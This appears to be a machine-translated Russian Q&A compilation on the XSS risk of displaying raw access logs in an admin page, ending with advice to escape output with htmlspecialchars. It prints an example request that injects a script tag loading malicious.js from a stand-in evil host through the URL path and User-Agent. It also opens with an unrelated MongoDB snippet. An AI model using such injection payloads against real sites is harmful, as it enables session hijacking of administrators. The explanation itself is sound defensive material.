идеальный ответ - индекс использования i опция для без учета регистра
db.users.findOne({"username" : new RegExp(search_value, 'i') });
Вы, вероятно, захотите какое-то HTML-форматирование для вывода и, следовательно, должны очистить / закодировать данные журнала. Но ради аргументов: если вы отправляете вывод как text / plain, клиент не должен анализировать какой-либо html / javascript.
Например, вывод
<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
отображается как <script>alert(document.URL);</script>(по крайней мере, в FF3, IE8, Opera, Safari).
Да, это опасно.
Например, злоумышленник может просто запросить что-то вроде этого:
GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>
И скомпрометировать вашу страницу просмотра с помощью вредоносного JavaScript.
Поскольку вы ' Если вы, вероятно, просматриваете журнал на вашем сайте, вы войдете в систему как учетную запись с правами администратора. С помощью вредоносного JavaScript злоумышленник может украсть ваш файл cookie сеанса и захватить ваш сеанс вместе со всеми вещами, которые вы можете делать во время входа в систему.
Итак, в заключение, вам следует определенно выйти из журнала доступа страниц, если вы не хотите, чтобы ваши административные учетные записи были скомпрометированы.
Теоретически это возможно, да, и вы должны похвалить себя за правильное мышление, чтобы думать об этом таким образом. Всегда рекомендуется очищать любой неконтролируемый ввод перед его отображением в веб-браузере.
Я бы запустил вывод журнала через htmlspecialchars ()
.